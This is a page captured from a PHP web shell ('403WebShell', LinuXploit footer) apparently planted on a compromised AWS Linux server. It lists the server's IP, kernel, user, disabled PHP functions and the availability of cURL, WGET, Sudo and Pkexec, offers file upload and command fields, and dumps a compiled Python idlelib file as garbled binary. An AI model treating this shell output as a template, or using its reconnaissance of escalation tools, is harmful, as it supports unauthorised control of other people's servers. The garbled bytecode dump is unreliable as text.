Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.10/idlelib/__pycache__/hyperparser.cpython-310.pyc
o

�9jY2�@s�dZddlmZddlZddlmZeejejd�Z	eejd�Z
dd�ed�D�Zd	d�ed�D�Z
Gd
d�d�ZedkrNdd
lmZeddd�dSdS)z�Provide advanced parsing abilities for ParenMatch and other extensions.

HyperParser uses PyParser.  PyParser mostly gives information on the
proper indentation of code.  HyperParser gives additional information on
the structure of code.
�)�	iskeywordN)�pyparse�_cC�g|]}t|�tv�qS�)�chr�_ASCII_ID_CHARS��.0�xrr�*/usr/lib/python3.10/idlelib/hyperparser.py�
<listcomp>�r
�cCrr)r�_ASCII_ID_FIRST_CHARSr	rrrr
rc@sZeZdZdd�Zdd�Zdd�Zdd�Zddd�Zehd
��Z	e
dd��ZdZdd�Z
dS)�HyperParserc
sH|�_|j�_}t�|j|j�}dd�}||�|��}|js[|jD]0}t	||d�}t
|�d}	d|}
|�|�|	|
�d�|�
|�|	��}|dusP|dkrRnq"|�|pXd�n#|�d	|�}|rh|d}	nd
}	d|}
|�|�|	|
�d�|�d�|jdd��_|
�_|���_�fdd
�tt�j��D��_��|�dS)z;To initialize, analyze the surroundings of the given index.cSstt|��S)N)�int�float)�indexrrr�
index2line"sz(HyperParser.__init__.<locals>.index2line�z.0z%d.endz 
Nr�consolez1.0���cs4g|]}|dko�j|d�j|ddk�qS)rr)�
bracketing)r
�i��selfrrr
Ks
��z(HyperParser.__init__.<locals>.<listcomp>)�editwin�textr�Parser�indentwidth�tabwidthr�prompt_last_line�num_context_lines�max�repr�set_code�get�find_good_parse_start�_build_char_in_string_func�set_lo�
tag_prevrange�code�rawtext�stopatindex�get_last_stmt_bracketingr�range�len�isopener�	set_index)
rrrr�parserr�lno�context�startat�startatindexr.�bod�rrrr�__init__s@
��



�zHyperParser.__init__cCst|j�t|j�||j��}|dkrtd|��||_d|_|jt|j�dkrT|j|jdd|jkrT|jd7_|jt|j�dkrT|j|jdd|jks6|jt|j�dkr||j|jdd|jkr~|j	|jds�|jd7_dSdSdSdS)zgSet the index to which the functions relate.

        The index must be in the same statement.
        rz(Index %s precedes the analyzed statementrN)
r1r-rr'r.�
ValueError�indexinrawtext�indexbracketrr2)rrr=rrrr3Qs*�����zHyperParser.set_indexcCs&|j|jo|j|j|jddvS)z2Is the index given to the HyperParser in a string?r)�"�'�r2r>r-rrrrr�is_in_stringfs
��zHyperParser.is_in_stringcCs(|j|jp|j|j|jddvS)z5Is the index given to the HyperParser in normal code?r)�#r?r@rArrrr�
is_in_codens
��zHyperParser.is_in_code�([{FcCs�|j|jd}|j}|j|r%|j|j|d|vs%|j|d|krS|d8}|dkr/dSt||j|d�}|j|r%|j|j|d|vs%|j|d|ks%|jd}|t|j�kr||j|d|kr||d7}|t|j�kr||j|d|ksh|j�d|jt|j�|j|df�}|t|j�ks�|j|dt|j�kr�|r�dS|j}||fS|j�d|jt|j�|j|ddf�}||fS)a�Return bracket indexes or None.

        If the index given to the HyperParser is surrounded by a
        bracket defined in openers (or at least has one before it),
        return the indices of the opening bracket and the closing
        bracket (or the end of line, whichever comes first).

        If it is not surrounded by brackets, or the end of line comes
        before the closing bracket and mustclose is True, returns None.
        rrNz%s-%dc)	rr>r2r-�minr1rrr.)r�openers�	mustclose�bracketinglevel�before�after�beforeindex�
afterindexrrr�get_surrounding_bracketstsB

�
�����z$HyperParser.get_surrounding_brackets>�None�True�FalsecCs�t}|}||kr8t||d�dkr8|t||d�r8|d8}||kr8t||d�dkr8|t||d�s||kr�t||d�dkr�|d|krnd||d|���rn|d8}|d|krnd||d|���sX|d|kr�d||d|���r�|d8}|d|kr�d||d|���r�|d8}|||���s�dSn||kr�tt||�s�dS||kr�t|||��r�|||�|jvr�dS||S)z�Given a string and pos, return the number of chars in the
        identifier which ends at pos, or 0 if there is no such one.

        This ignores non-identifier eywords are not identifiers.
        rr��a�r)�_IS_ASCII_ID_CHAR�ord�isidentifier�_IS_ASCII_ID_FIRST_CHARr�_ID_KEYWORDS)�cls�str�limit�pos�is_ascii_id_charrrrr�_eat_identifier�s>���	$$�$$��zHyperParser._eat_identifierz 	
\c
Cs�|��std��|j}|j}|j}||d}|j}|}d}		||kr2||d|jvr2|d8}n=|sG||krG||ddkrG|d8}d}n(||krn|dkrn|||dddkrn|d8}||d}||dd}nnq |ssn�|�|||�}|r�||}|}d}nr||kr�||d}	|dkr�||dd|	kr�|d8}|dkr�||dd|	ks�||d|kr�n@||d}|d8}||d}|}||d	vr�n&||d
vr�|dkr�||ddvr�|d8}|dkr�||ddvs�|}nnq|||j�S)z�Return a string with the Python expression which ends at the
        given index, which is empty if there is no real one.
        z?get_expression should only be called if index is inside a code.rTr�.rCrTFz([z'"�rRbBuU)rDr<r-rr>r=�_whitespace_charsr_)
rr-r�
brck_index�
brck_limitr]�last_identifier_pos�
postdot_phase�ret�levelrrr�get_expression�sj
����CzHyperParser.get_expressionN)rEF)�__name__�
__module__�__qualname__r;r3rBrDrN�	frozensetrY�classmethodr_rbrirrrrrs7
,
9r�__main__)�mainz"idlelib.idle_test.test_hyperparserrT)�	verbosity)�__doc__�keywordr�string�idlelibrrm�
ascii_letters�digitsrrr0rUrXrrj�unittestrprrrr�<module>s ��

Youez - 2016 - github.com/yon3zu
LinuXploit